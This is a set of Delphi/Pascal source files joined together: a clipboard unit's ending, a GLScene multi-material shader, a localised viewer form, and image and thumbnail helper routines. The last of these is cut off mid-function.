Stream.Position := 0;
MimeSource := TClxMimeSource.Create(SDelphiComponent, Stream);
try
QClipboard_setData(Handle, MimeSource.Handle);
ClearCache;
finally
MimeSource.Free;
end;
finally
Stream.Free;
end;
end;
procedure TClipboard.SetFormat(const Format: string; Stream: TStream);
var
MimeSource: TClxMimeSource;
begin
Clear;
MimeSource := TClxMimeSource.Create(Format, Stream);
try
QClipboard_setData(Handle, MimeSource.Handle);
ClearCache;
finally
MimeSource.ReleaseHandle;
MimeSource.Free;
end;
end;
procedure TClipboard.SupportedFormats(List: TStrings);
begin
with TMimeSource.Create(QClipboard_data(Handle)) do
try
SupportedFormats(List);
finally
Free;
end;
end;
initialization
{$IFDEF MSWINDOWS}
QWindowsMime_registerMimeType(SDelphiComponent);
QWindowsMime_registerMimeType(SDelphiBitmap);
QWindowsMime_registerMimeType(SDelphiPicture);
QWindowsMime_registerMimeType(SDelphiDrawing);
{$ENDIF}
finalization
FClipboard.Free;
end.
|
{: GLMultiMaterialShader<p>
A shader that applies a render pass for each material in
its assigned MaterialLibrary.<p>
<b>History : </b><font size=-1><ul>
<li>22/04/10 - Yar - Fixes after GLState revision
<li>05/03/10 - DanB - Added more state to TGLStateCache
<li>03/07/09 - DanB - bug fix to allow multi-pass materials to be used by TGLMultiMaterialShader
<li>20/01/09 - Mrqzzz - Published property "Shaderstyle"
(allows f.ex to have multiple textures using lightmaps)
<li>25/10/07 - Mrqzzz - commented "glPushAttrib(GL_ALL_ATTRIB_BITS);" in DoApply
and "glPopAttrib;" in DoUnapply, which seems to fix
issues with other objects and materials in the scene.
<li>25/02/07 - DaStr - Moved registration to GLSceneRegister.pas
<li>24/05/04 - Mrqzzz - Re-added design-time rendering option
(seems stable now)
<li>29/07/03 - SG - Removed design-time rendering option
(shader unstable at design-time)
<li>29/07/03 - SG - Creation
</ul></font>
}
unit GLMultiMaterialShader;
interface
uses
Classes, GLMaterial, GLRenderContextInfo, GLState;
type
TGLMultiMaterialShader = class(TGLShader)
private
FPass : Integer;
FMaterialLibrary : TGLMaterialLibrary;
FVisibleAtDesignTime: boolean;
FShaderActiveAtDesignTime : boolean;
FShaderStyle: TGLShaderStyle;
procedure SetVisibleAtDesignTime(const Value: boolean);
procedure SetShaderStyle(const Value: TGLShaderStyle);
protected
procedure SetMaterialLibrary(const val : TGLMaterialLibrary);
procedure DoApply(var rci : TRenderContextInfo; Sender : TObject); override;
function DoUnApply(var rci : TRenderContextInfo) : Boolean; override;
public
constructor Create(aOwner : TComponent); override;
published
property MaterialLibrary : TGLMaterialLibrary read FMaterialLibrary write SetMaterialLibrary;
property VisibleAtDesignTime : boolean read FVisibleAtDesignTime write SetVisibleAtDesignTime;
property ShaderStyle:TGLShaderStyle read FShaderStyle write SetShaderStyle;
end;
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
implementation
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------
// ------------------ TGLMultiMaterialShader ------------------
// ------------------
// Create
//
constructor TGLMultiMaterialShader.Create(aOwner : TComponent);
begin
inherited;
FShaderStyle:=ssReplace;
FVisibleAtDesignTime := False;
end;
// DoApply
//
procedure TGLMultiMaterialShader.DoApply(var rci: TRenderContextInfo; Sender : TObject);
begin
if not Assigned(FMaterialLibrary) then exit;
FShaderActiveAtDesignTime := FVisibleAtDesignTime;
FPass:=1;
if (not (csDesigning in ComponentState)) or FShaderActiveAtDesignTime then begin
rci.ignoreDepthRequests := True;
rci.GLStates.Enable(stDepthTest);
rci.GLStates.DepthFunc := cfLEqual;
if FMaterialLibrary.Materials.Count>0 then
FMaterialLibrary.Materials[0].Apply(rci);
rci.ignoreDepthRequests := False;
end;
end;
// DoUnApply
//
function TGLMultiMaterialShader.DoUnApply(
var rci: TRenderContextInfo): Boolean;
begin
Result:=False;
if not Assigned(FMaterialLibrary) then exit;
if (not (csDesigning in ComponentState)) or FShaderActiveAtDesignTime then begin
if FMaterialLibrary.Materials.Count>0 then
// handle multi-pass materials
if FMaterialLibrary.Materials[FPass-1].UnApply(rci) then
begin
Result:=true;
Exit;
end;
if (FPass >= FMaterialLibrary.Materials.Count) then begin
rci.GLStates.DepthFunc := cfLess;
exit;
end;
FMaterialLibrary.Materials[FPass].Apply(rci);
Result:=True;
Inc(FPass);
end;
end;
// SetMaterialLibrary
//
procedure TGLMultiMaterialShader.SetMaterialLibrary(
const val: TGLMaterialLibrary);
begin
if val<>FMaterialLibrary then begin
FMaterialLibrary:=val;
NotifyChange(Self);
end;
end;
procedure TGLMultiMaterialShader.SetShaderStyle(const Value: TGLShaderStyle);
begin
FShaderStyle := Value;
inherited ShaderStyle :=FShaderStyle;
end;
procedure TGLMultiMaterialShader.SetVisibleAtDesignTime(
const Value: boolean);
begin
FVisibleAtDesignTime := Value;
if csDesigning in ComponentState then
NotifyChange(Self);
end;
end.
|
//------------------------------------------------------------------------------
// This unit is part of the GLSceneViewer, http://sourceforge.net/projects/glscene
//------------------------------------------------------------------------------
{! The FGLForm unit for TGLForm class as parent for all child forms of GLSceneViewer project}
{
History :
01/04/09 - PW - Created
}
unit FGLForm;
interface
uses
Winapi.Windows,
System.SysUtils,
System.IniFiles,
Vcl.Forms,
Vcl.Graphics,
Vcl.Menus,
Vcl.Actnlist;
type
TGLForm = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
IniFile : TIniFile;
procedure ReadIniFile; virtual;
procedure WriteIniFile; virtual;
procedure SetLanguage;
published
//
protected
end;
var
GLForm: TGLForm;
var
LangID : Word;
implementation
uses
Gnugettext;
{$R *.dfm}
//Here goes the translation of all component strings
//
procedure TGLForm.FormCreate(Sender: TObject);
begin
inherited;
SetLanguage;
TranslateComponent(Self);
end;
procedure TGLForm.SetLanguage;
var
LocalePath : TFileName;
IniFile : TIniFile;
begin
LocalePath := ExtractFileDir(ParamStr(0)); // Path to GLSViewer
LocalePath := LocalePath + PathDelim + 'Locale' + PathDelim;
Textdomain('glscene');
BindTextDomain ('glscene', LocalePath);
ReadIniFile;
if (LangID <> LANG_ENGLISH) then
begin
case LangID of
LANG_RUSSIAN:
begin
UseLanguage('ru');
Application.HelpFile := UpperCase(LocalePath + 'ru'+ PathDelim+'GLScene.chm');
end;
LANG_SPANISH:
begin
UseLanguage('es');
Application.HelpFile := UpperCase(LocalePath + 'es'+ PathDelim+'GLScene.chm');
end;
LANG_GERMAN:
begin
UseLanguage('ru');
Application.HelpFile := UpperCase(LocalePath + 'ru'+ PathDelim+'GLScene.chm');
end;
LANG_FRENCH:
begin
UseLanguage('ru');
Application.HelpFile := UpperCase(LocalePath + 'ru'+ PathDelim+'GLScene.chm');
end
else
begin
UseLanguage('en');
Application.HelpFile := UpperCase(LocalePath + 'en'+ PathDelim+'GLScene.chm');
end;
end;
end
else
begin
UseLanguage('en');
Application.HelpFile := UpperCase(LocalePath + 'en'+ PathDelim+'GLScene.chm');
end;
TP_IgnoreClass(TFont);
TranslateComponent(Self);
//TP_GlobalIgnoreClass(TGLLibMaterial);
//TP_GlobalIgnoreClass(TGLMaterialLibrary);
//TP_GlobalIgnoreClass(TListBox);
//TP_GlobalIgnoreClassProperty(TAction, 'Category');
//LoadNewResourceModule(Language);//when using ITE, ENU for English USA
end;
procedure TGLForm.ReadIniFile;
begin
IniFile := TIniFile.Create(ChangeFileExt(Application.ExeName, '.ini'));
with IniFile do
try
LangID := ReadInteger('GLOptions', 'RadioGroupLanguage', 0);
finally
IniFile.Free;
end;
end;
procedure TGLForm.WriteIniFile;
begin
//
end;
end.
|
unit HelperProcs;
/////////////////////////////////////////////////////////////
// //
// Copyright: © 2002 Renate Schaaf //
// //
// (unless noted otherwise) //
// //
// For personal use, do not distribute. //
// //
/////////////////////////////////////////////////////////////
interface
uses Windows, Graphics, Classes, Controls;
function DeleteFolder(
const folderName: string
): boolean;
(*Erases a nonempty folder*)
(*returns true unless error or user abort*)
(*Routine by Philip Ranger*)
function DeleteFolderContent(
const folderName: string
): boolean;
(*Erases the content of the given folder*)
(*Routine by Philip Ranger*)
function PathGetLongName(
const Path: string
): string;
//from JCLFileUtils:
//Returns the long form of a given path name
//(versus C:\Progr~1).
function IsOpenInExplorer(
const folderName: string;
var h: THandle
): boolean;
function ExtractFolder(const filename: string): string;
function GetJpegSize(
Stream: TStream): TPoint;
{by Finn Tolderlund, Thanks! Use to read width/height of
a jpeg from a filestream without actually loading the file
into a TJpegImage.
It needs to be speed optimized, though. I tried a bit,
but it's still too slow.}
function LoadThumbFromBMPStream(
const ABmp: TBitmap;
const AStream: TStream;
ForThumbHeight: integer
): boolean;
procedure LoadThumbFromBMPFile(
const ABmp: TBitmap;
const filename: string;
ForThumbHeight: integer);
//no result, we throw exceptions. Yes.
function LoadThumbFromJpegStream(
const Bitmap: TBitmap;
const Stream: TStream;
ForThumbHeight: integer
): boolean;
function LoadThumbFromJpegFile
(const Bitmap: TBitmap;
const filename: string;
ForThumbHeight: integer
): boolean;
procedure CopyRectEx(
ADest: TCanvas;
DestR: TRect;
aSource: TBitmap;
SourceR: TRect;
SmoothStretch: boolean);
procedure MakeThumbNail(Src, Dest: TBitmap);
// By Roy Magne Klever
procedure MakeThumbNailMod(const Src, Dest: TBitmap);
// By Roy Magne Klever
// modified a bit
procedure MakeThumbNailFloat(const Src, Dest: TBitmap);
procedure Upsample(const Src, Dest: TBitmap);
procedure MakeThumb(const Src, Dest: TBitmap);
type TAlphaTable = array[0..255] of byte;
PAlphaTable = ^TAlphaTable;
const AlphaHigh = 255;
var FracAlphaTable: array of TAlphaTable;
procedure SharpenMod(
const Src, Dest: TBitmap;
alpha: Single);
procedure Tween3(
const sbm1, sbm2, tbm: TBitmap;
const at, bt: PAlphaTable);
function ScreenRect(
AControl: TControl
): TRect;
procedure DrawSelFrame(
AControl: TControl;
dx, dy: integer);
implementation
{$DEFINE JPG}
//Define if you have JPG.pas and want to use a nicer
//thumb routine
uses SysUtils, ShellApi, ShlObj, ActiveX, jpeg, math
{$IFDEF JPG}
, jpg
{$ENDIF}
;
procedure MakeFracAlphaTable;
var i, j: integer;
alpha: double;
begin
SetLength(FracAlphaTable, AlphaHigh + 1);
for i := 0 to AlphaHigh do
begin
alpha := 1 / AlphaHigh * i;
for j := 0 to 254 do
FracAlphaTable[i][j] := trunc(alpha * j);
FracAlphaTable[i][255] := trunc(alpha * 255);
end;
end;
function DeleteFolder(const folderName: string): boolean;
(*Erases a nonempty folder*)
(*returns true unless error or user abort*)
var
r: TSHFileOpStruct;
i: DWord;
S: string;
begin
S := folderName + #0#0;
Result := false;
i := GetFileAttributes(PChar(S));
if (i = $FFFFFFFF) or ((i and FILE_ATTRIBUTE_DIRECTORY) = 0) then exit;
FillChar(r, SizeOf(r), 0);
r.wFunc := FO_DELETE;
r.pFrom := PChar(S);
r.fFlags := FOF_NOCONFIRMATION;
Result := (0 = SHFileOperation(r)) and
(not r.fAnyOperationsAborted) and (GetFileAttributes(PChar(S)) = $FFFFFFFF);
end;
function DeleteFolderContent(const folderName: string): boolean;
begin
Result := DeleteFolder(folderName);
if Result then
Result := CreateDir(folderName);
end;
function PathGetLongName(const Path: string): string;
var
Pidl: PItemIdList;
Desktop: IShellFolder;
AnsiName: AnsiString;
WideName: array[0..MAX_PATH] of WideChar;
Eaten, Attr: ULONG; // both unused but API requires them (incorrect translation)
begin
Result := Path;
if Path <> '' then
begin
if Succeeded(SHGetDesktopFolder(Desktop)) then
begin
MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, PChar(Path), -1, WideName, MAX_PATH);
if Succeeded(Desktop.ParseDisplayName(0, nil, WideName, Eaten, Pidl, Attr)) then
try
SetLength(AnsiName, MAX_PATH);
if SHGetPathFromIdList(Pidl, PChar(AnsiName)) then
Result := PChar(AnsiName);
finally
CoTaskMemFree(Pidl);
end;
end;
end;
end;
function IsOpenInExplorer(const folderName: string; var h: THandle): boolean;
begin
Result := false;
if folderName <> '' then
begin
h := FindWindow(PChar('CabinetWClass'), PChar(folderName));
if h = 0 then
h := FindWindow(PChar('CabinetWClass'), PChar(ExtractFileName(folderName)));
Result := (h <> 0);
end;
end;
function ExtractFolder(const filename: string): string;
begin
Result := ExtractFilePath(filename);
if Result[Length(Result)] = '\' then
Result := copy(Result, 1, Length(Result) - 1);
end;
procedure ReadBMPHeader(const AStream: TStream; var BmpHdr: TBitmapInfoHeader; var IsOS2: boolean);
var
FileHdr: TBitmapFileHeader;
InfoHeaderPosition, HeaderSize: integer;
begin
IsOS2 := true;
AStream.ReadBuffer(FileHdr, SizeOf(TBitmapFileHeader));
if FileHdr.bfType <> $4D42 then
raise EInvalidGraphic.Create('Bitmap is invalid');
//Read Headers:
InfoHeaderPosition := AStream.position;
AStream.read(HeaderSize, SizeOf(HeaderSize));
IsOS2 := (HeaderSize = SizeOf(TBitmapCoreHeader));
if not IsOS2 then
begin
AStream.position := InfoHeaderPosition;
AStream.ReadBuffer(BmpHdr, SizeOf(TBitmapInfoHeader));
end;
end;
procedure ReadBMPPixels(const ABmp: TBitmap; const AStream: TStream; var BmpHdr: TBitmapInfoHeader; ScaleDen: integer);
var
ColorBytes, RowSize, PixelSize, Rowstep, Colstep,
BmpWidth, BmpHeight, DIBPadBytes: integer;
DIB: TDIBSection;
Quads, Col, Row, Quad, Triple: PByte;
i, j: integer;
WidthChunks, HeightChunks: integer;
begin
//Scaling is 1/ScaleDen
with BmpHdr do
begin
if biClrUsed = 0 then
if biBitCount < 16 then
biClrUsed := 1 shl biBitCount
else
biClrUsed := 0;
ColorBytes := SizeOf(TRGBQuad) * biClrUsed;
RowSize := (((biWidth * biBitCount) + 31) and not 31) shr 3;
PixelSize := biBitCount shr 3;
Colstep := ScaleDen * PixelSize;
Rowstep := (ScaleDen - 1) * RowSize;
//TargetChunk := ScaleNum * 3;
WidthChunks := biWidth div ScaleDen;
HeightChunks := biHeight div ScaleDen;
with ABmp do
begin
BmpWidth := WidthChunks;
BmpHeight := HeightChunks;
Width := 0;
PixelFormat := pf24bit;
Width := BmpWidth;
Height := BmpHeight;
end;
//GetDIB from ABMP
GDIFlush; //Necessary and right place to call?
FillChar(DIB, SizeOf(DIB), 0);
GetObject(ABmp.Handle, SizeOf(DIB), @DIB);
GetMem(Quads, ColorBytes);
GetMem(Row, RowSize);
try
AStream.ReadBuffer(Quads^, ColorBytes);
//Pad bytes for 4 bytes alignment of rows:
DIBPadBytes := ((((BmpWidth * 3) + 3) div 4) * 4) - (BmpWidth * 3);
//Triple points to beginning of DIB-bits:
Triple := DIB.dsBm.bmBits;
//Row := AStream.Memory;
//inc(Row, AStream.position);
//row now points to beginning of pixels in stream
if (PixelSize = 3) or (PixelSize = 4) then
begin
for i := 1 to HeightChunks do
begin
AStream.ReadBuffer(Row^, RowSize);
Col := Row;
for j := 1 to WidthChunks do
begin
pRGBTriple(Triple)^ := pRGBTriple(Col)^;
inc(Col, Colstep);
inc(Triple, 3);
end;
inc(Triple, DIBPadBytes);
//inc(Row, Rowstep);
AStream.Seek(Rowstep, soFromCurrent)
end;
end;
if PixelSize = 1 then
begin
for i := 1 to HeightChunks do
begin
AStream.ReadBuffer(Row^, RowSize);
Col := Row;
for j := 1 to WidthChunks do
begin
Quad := Quads;
inc(Quad, Col^ * SizeOf(TRGBQuad));
pRGBTriple(Triple)^ := pRGBTriple(Quad)^;
//move(Quad^, Triple^, 3);
inc(Col, ScaleDen);
inc(Triple, 3);
end;
inc(Triple, DIBPadBytes);
//inc(Row, Rowstep);
AStream.Seek(Rowstep, soFromCurrent);
end;
end;
ABmp.Modified := true;
finally
FreeMem(Quads);
FreeMem(Row);
end;
end;
end;
procedure LoadThumbFromBMPFile(
const ABmp: TBitmap;
const filename: string;
ForThumbHeight: integer);
var fh, mh: integer;
Start, Buff: PByte;
IHeader: TBitmapInfoHeader;
ScaleNum, ScaleDen: integer;
ColorBytes, RowSize, PixelSize, Rowstep, Colstep,
DIBPadBytes: integer;
DIB: TDIBSection;
Quads, Col, Quad, Triple: PByte;
i, j: integer;
WidthChunks, HeightChunks: integer;
procedure Backout;
begin
UnmapViewOfFile(Start);
ABmp.loadfromfile(filename);
end;
begin
fh := FileOpen(filename, fmOpenRead or fmShareDenyWrite);
if fh < 0 then
RaiseLastOSError;
mh := CreateFileMapping(fh, nil, PAGE_READONLY, 0, 0, nil);
CloseHandle(fh);
if mh = 0 then
RaiseLastOSError;
Start := MapViewOfFile(mh, FILE_MAP_READ, 0, 0, 0);
CloseHandle(mh);
if Start = nil then
RaiseLastOSError;
Buff := Start;
if PBitmapFileHeader(Buff)^.bfType <> $4D42 then
raise EInvalidGraphic.Create('Bitmap is invalid');
//Read Headers:
inc(Buff, SizeOf(TBitmapFileHeader));
if PInteger(Buff)^ = SizeOf(TBitmapCoreHeader) then
//is an OS2 Bm
Backout;
IHeader := PBitmapInfoHeader(Buff)^;
with IHeader do
begin
if not (((biBitCount = 8) or (biBitCount >= 24)) and (biCompression = BI_RGB)) then
Backout; //Too dumb to do those.
ScaleNum := trunc(16 * ForThumbHeight / biHeight + 1);
if ScaleNum = 1 then
ScaleDen := 16
else
if ScaleNum = 2 then
ScaleDen := 8
else
if ScaleNum < 5 then
ScaleDen := 4
else
if ScaleNum < 9 then
ScaleDen := 2
else
ScaleDen := 1;
if ScaleDen = 1 then
Backout;
if biClrUsed = 0 then
if biBitCount < 16 then
biClrUsed := 1 shl biBitCount
else
biClrUsed := 0;
ColorBytes := SizeOf(TRGBQuad) * biClrUsed;
RowSize := (((biWidth * biBitCount) + 31) and not 31) shr 3;
PixelSize := biBitCount shr 3;
Colstep := ScaleDen * PixelSize;
Rowstep := ScaleDen * RowSize;
WidthChunks := biWidth div ScaleDen;
HeightChunks := biHeight div ScaleDen;
end; //with IHeader
with ABmp do
begin
Width := 0;
PixelFormat := pf24bit;
Width := WidthChunks;
Height := HeightChunks;
end;
//GetDIB from ABMP
GDIFlush; //Necessary and right place to call?
FillChar(DIB, SizeOf(DIB), 0);
GetObject(ABmp.Handle, SizeOf(DIB), @DIB);
inc(Buff, SizeOf(TBitmapInfoHeader));
GetMem(Quads, ColorBytes);
try
if ColorBytes > 0 then
begin
move(Buff^, Quads^, ColorBytes);
inc(Buff, ColorBytes);
end;
//Pad bytes for 4 bytes alignment of rows:
DIBPadBytes := ((((WidthChunks * 3) + 3) div 4) * 4) - (WidthChunks * 3);
//Triple points to beginning of DIB-bits:
Triple := DIB.dsBm.bmBits;
//buff now points to beginning of pixels in stream
if (PixelSize = 3) or (PixelSize = 4) then
begin
for i := 1 to HeightChunks do
begin
Col := Buff;
for j := 1 to WidthChunks do
begin
pRGBTriple(Triple)^ := pRGBTriple(Col)^;
inc(Col, Colstep);
inc(Triple, 3);
end;
inc(Triple, DIBPadBytes);
inc(Buff, Rowstep);
end;
end;
if PixelSize = 1 then
begin
for i := 1 to HeightChunks do
begin
Col := Buff;
for j := 1 to WidthChunks do
begin
Quad := Quads;
inc(Quad, Col^ * SizeOf(TRGBQuad));
pRGBTriple(Triple)^ := pRGBTriple(Quad)^;
inc(Col, ScaleDen);
inc(Triple, 3);
end;
inc(Triple, DIBPadBytes);
inc(Buff, Rowstep);
end;
end;
ABmp.Modified := true;
finally
FreeMem(Quads);
end;
UnmapViewOfFile(Start);
end;
function LoadThumbFromBMPStream(
const ABmp: TBitmap;
const AStream: TStream;
ForThumbHeight: integer
): boolean;
var
BmpHdr: TBitmapInfoHeader;
OrgPosition: integer;
ScaleNum, ScaleDen: integer;
IsOS2, DoRead: boolean;
begin
Result := false;
if ABmp = nil then
exit;
if AStream = nil then
exit;
OrgPosition := AStream.position;
//Read Headers:
ReadBMPHeader(AStream, BmpHdr, IsOS2);
DoRead := not IsOS2;
if DoRead then
with BmpHdr do
DoRead := ((biBitCount = 8) or (biBitCount >= 24)) and (biCompression = BI_RGB);
if not DoRead then
begin
AStream.position := OrgPosition;
ABmp.PixelFormat := pf24bit;
ABmp.LoadFromStream(AStream);
Result := true;
exit;
end;
with BmpHdr do
begin
ScaleNum := trunc(16 * ForThumbHeight / biHeight + 1);
if ScaleNum = 1 then
ScaleDen := 16
else
if ScaleNum = 2 then
ScaleDen := 8
else
if ScaleNum < 5 then
ScaleDen := 4
else
if ScaleNum < 9 then
ScaleDen := 2
else
ScaleDen := 1;
if ScaleDen = 1 then
//direct loading is faster
begin
AStream.position := OrgPosition;
ABmp.PixelFormat := pf24bit;
ABmp.LoadFromStream(AStream);
Result := true;
exit;
end;
end;
ReadBMPPixels(ABmp, AStream, BmpHdr, ScaleDen);
Result := true;
end;
var tbljpeg1, tbljpeg2: array[byte] of byte;
procedure makejpegtables;
var b: byte;
begin
for b := Low(byte) to High(byte) do
begin
tbljpeg1[b] := 0;
tbljpeg2[b] := 0;
if b = $FF then
begin
tbljpeg1[b] := 1;
tbljpeg2[b] := 1;
end
else
if b in [$D8, $DA] then
tbljpeg1[b] := 2
else
if b in [$C0, $C1, $C2] then
tbljpeg2[b] := 2;
end;
end;
function GetJpegSize2(Stream: TStream): TPoint; //umh
var jpeg: TJPegImage;
begin
jpeg := TJPegImage.Create;
try
jpeg.LoadFromStream(Stream);
Result.x := jpeg.Width;
Result.y := jpeg.Height;
finally
jpeg.Free;
end;
end;
{$IFDEF JPG}
function GetJpegSize3(Stream: TStream): TPoint; overload;
// the fastest but requires JPG.pas by Mike Lischke
// www.lischke-online.de
var w, h: Cardinal;
begin
GetJpegInfo(Stream, w, h);
Result.x := w; Result.y := h;
end;
function GetJpegSize3(const filename: string): TPoint; overload;
var w, h: Cardinal;
begin
GetJpegInfo(filename, w, h);
Result.x := w; Result.y := h;
end;
{$ENDIF}
function GetJpegSize(Stream: TStream): TPoint;
//still too slow
var
fs: TStream;
SegmentPos: integer;
SOIcount: integer;
x, y: Word;
b: byte;
db: array[1..2] of byte;
fpos, fsize: integer;
p: byte;
begin
//fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyNone);
//try
fs := Stream; //to save retyping
fs.position := 0;
fs.read(x, 2);
if x <> $D8FF then
raise Exception.Create('Not a Jpeg file');
SOIcount := 0;
fs.position := 0;
fpos := 0;
fsize := fs.Size;
while fpos + 7 < fsize do
begin
fs.read(db, 2);
inc(fpos, 2);
p := tbljpeg1[db[2]];
if p <> 0 then
begin
if p = 2 then
if tbljpeg1[db[1]] <> 1 then
Continue
else
b := db[2]
else
begin
fs.read(b, 1);
p := tbljpeg1[b];
if p = 1 then
fs.Seek(-1, soFromCurrent)
else
inc(fpos);
if p <> 2 then
Continue;
end;
if b = $D8
then
inc(SOIcount)
else
Break;
end;
end;
{ fs.Read(b,1);
if b = $FF then
begin
fs.Read(b, 1);
if b = $D8 then
Inc(SOIcount);
if b = $DA then
Break;
end;
end;}
if b <> $DA then
raise Exception.Create('Corrupt Jpeg file');
SegmentPos := -1;
fs.position := 0;
fpos := 0;
while fpos + 7 < fsize do
begin
fs.read(db, 2);
inc(fpos, 2);
p := tbljpeg2[db[2]];
if p <> 0 then
begin
if p = 2 then
if tbljpeg2[db[1]] <> 1 then
Continue
else
b := db[2]
else
begin
fs.read(b, 1);
p := tbljpeg2[b];
if p = 1 then
fs.Seek(-1, soFromCurrent)
else
inc(fpos);
if p <> 2 then
Continue;
end;
if b in [$C0, $C1, $C2] then //should always be true here..
begin
SegmentPos := fpos;
Dec(SOIcount);
if SOIcount = 0 then
Break;
end;
end;
end;
{fs.Read(b, 1);
if b = $FF then
begin
fs.Read(b, 1);
if b in [$C0, $C1, $C2] then
begin
SegmentPos := fs.Position;
Dec(SOIcount);
if SOIcount = 0 then
Break;
end;
end; }
if SegmentPos = -1 then
raise Exception.Create('Corrupt Jpeg file');
if SegmentPos + 7 > fsize then
raise Exception.Create('Corrupt Jpeg file');
fs.position := SegmentPos + 3;
fs.read(y, 2);
fs.read(x, 2);
Result := Point(Swap(x), Swap(y));
//finally
// fs.Free;
//end;
end;
function LoadFromJpegStream(const Bitmap: TBitmap; const Stream: TStream;
SkipWidth: integer): boolean;
var Skip: TJpegScale;
aJpeg: TJPegImage;
orgpos: integer;
begin
Result := false;
if Bitmap = nil then
exit;
if Stream = nil then
exit;
orgpos := Stream.position;
Stream.position := orgpos;
if SkipWidth >= 10 then
begin
Skip := jsEighth;
end
else
if SkipWidth >= 5 then
begin
Skip := jsQuarter;
end
else
if SkipWidth >= 3 then
begin
Skip := jsHalf;
end
else
begin
Skip := jsFullSize;
end;
aJpeg := TJPegImage.Create;
try
aJpeg.scale := Skip;
aJpeg.LoadFromStream(Stream);
Bitmap.Width := 0;
Bitmap.assign(aJpeg);
Bitmap.PixelFormat := pf24bit;
finally
aJpeg.Free;
end;
Result := true;
end;
function LoadThumbFromJpegStream(const Bitmap: TBitmap; const Stream: TStream;
ForThumbHeight: integer): boolean;
var SkipWidth: integer;
{$IFDEF JPG}
orgpos, OrgHeight: integer;
p: TPoint;
{$ENDIF}
begin
{$IFDEF JPG}
orgpos := Stream.position;
p := GetJpegSize3(Stream);
OrgHeight := p.y;
Stream.position := orgpos;
SkipWidth := OrgHeight div ForThumbHeight;
{$ELSE}
SkipWidth := 800 div ForThumbHeight;
{$ENDIF}
Result := LoadFromJpegStream(Bitmap, Stream, SkipWidth);
end;
function LoadThumbFromJpegFile(const Bitmap: TBitmap; const filename: string;
ForThumbHeight: integer): boolean;
var strm: TFileStream;
begin
strm := TFileStream.Create(filename, fmOpenRead or fmShareDenyWrite);
try
Result := LoadThumbFromJpegStream(Bitmap, strm, ForThumbHeight);
finally
strm.Free;
end;
end;
procedure CopyRectEx(ADest: TCanvas; DestR: TRect; aSource: TBitmap; SourceR: TRect; SmoothStretch: boolean);
var //aDC, bDC: HDC; //no, it's better to not cache the handles in threads.
OldPalette: Hpalette;
pt: TPoint;
begin
OldPalette := SelectPalette(ADest.Handle, aSource.Palette, true);
realizepalette(ADest.Handle);
//Note: SmoothStretch has no effect under Toy-Windows, an acknowlegded bug.
if SmoothStretch then
begin
GetBrushOrgEx(ADest.Handle, pt);
SetStretchBltMode(ADest.Handle, STRETCH_HALFTONE);
SetBrushOrgEx(ADest.Handle, pt.x, pt.y, @pt);
end
else
SetStretchBltMode(ADest.Handle, STRETCH_DELETESCANS);
StretchBlt(ADest.Handle, DestR.Left, DestR.Top, DestR.Right - DestR.Left, DestR.Bottom - DestR.Top, aSource.Canvas.Handle, SourceR.Left, SourceR.Top, SourceR.Right - SourceR.Left, SourceR.Bottom - SourceR.Top, SRCCopy);
SelectPalette(ADest.Handle, OldPalette, true);
end;
procedure ClampByte(i: integer; var Result: byte);
begin
if i < 0 then
Result := 0
else
if i > 255 then
Result := 255
else
Result := i;
//not sure this is optimized,
//but I guess it's better than
//max(min(i,255),0)
end;
//procedure MakeThumbnailMod
//Original source: Roy Magne Klever
//Altered to avoid division by 0
//and tried to make it a bit faster (RS)
type
PRGB24 = ^TRGB24;
TRGB24 = packed record
b: byte;
g: byte;
r: byte;
end;
TLine24 = array[0..maxint div SizeOf(TRGB24) - 1] of TRGB24;
PLine24 = ^TLine24;
TIntArray = array of integer;
TDeltaArray = array of array of integer;
procedure MakeAlphas(xscale, yscale: Single; xw, yh: integer; var dxmin, dymin: integer; var alphas: TDeltaArray; var xsteps, ysteps: TIntArray);
var i, j: integer;
x1, x2: integer;
dxmax, dymax, intscale: integer;
fact: Single;
begin
SetLength(xsteps, xw);
SetLength(ysteps, yh);
intscale := round(xscale * $10000);
//won't work if xcale > $10000/2, because then intscale
//exceeds 32bit integer. I don't see that happening.
x1 := 0;
x2 := intscale shr 16;
for i := 0 to xw - 1 do
begin
xsteps[i] := x2 - x1;
x1 := x2;
x2 := (i + 2) * intscale shr 16;
end;
dxmin := Ceil(xscale - 1);
dxmax := trunc(xscale + 1);
intscale := round(yscale * $10000);
x1 := 0;
x2 := intscale shr 16;
for i := 0 to yh - 1 do
begin
ysteps[i] := x2 - x1;
x1 := x2;
x2 := (i + 2) * intscale shr 16;
end;
dymin := Ceil(yscale - 1);
dymax := trunc(yscale + 1);
SetLength(alphas, dxmax - dxmin + 1, dymax - dymin + 1);
for i := 0 to dxmax - dxmin do
begin
fact := 1 / (dxmin + i);
for j := 0 to dymax - dymin do
alphas[i, j] := round(fact / (dymin + j) * $10000);
end;
end;
procedure MakeThumbNailMod(const Src, Dest: TBitmap);
var
xscale, yscale: Single;
x1: integer;
ix, iy: integer;
totalRed, totalGreen, totalBlue: integer;
ratio: integer;
p: PRGB24;
pt1: PRGB24;
ptrD, ptrS: integer;
x, y: integer;
r1, r2: TRect;
x3: integer;
RowDest, RowSource, RowSourceStart: integer;
alphas: TDeltaArray;
xsteps, ysteps: TIntArray;
w, h, dxmin, dymin: integer;
dx, dy: integer;
Work: TBitmap;
begin
if (Dest.Width <= 0) or (Dest.Height <= 0) then
raise Exception.Create('Destination must have positive width and height');
if (Dest.Width >= Src.Width) or (Dest.Height >= Src.Height) then
begin
r1 := Rect(0, 0, Src.Width, Src.Height);
r2 := r1;
OffsetRect(r2, (Dest.Width - Src.Width) div 2, (Dest.Height - Src.Height) div 2);
Dest.Canvas.CopyRect(r2, Src.Canvas, r1);
exit;
end;
Src.PixelFormat := pf24bit;
Dest.PixelFormat := pf24bit; //safety
Work := TBitmap.Create;
Work.PixelFormat := pf24bit;
w := Dest.Width;
h := Dest.Height;
Work.Width := w;
Work.Height := h;
ptrD := (w * 24 + 31) and not 31;
ptrD := ptrD div 8; //BytesPerScanline
ptrS := (Src.Width * 24 + 31) and not 31;
ptrS := ptrS div 8;
xscale := Src.Width / w;
yscale := Src.Height / h; //turns div into mults
MakeAlphas(xscale, yscale, w, h, dxmin, dymin, alphas, xsteps, ysteps);
//Make 3 lookup tables for the steps and the ratios
w := w - 1;
h := h - 1;
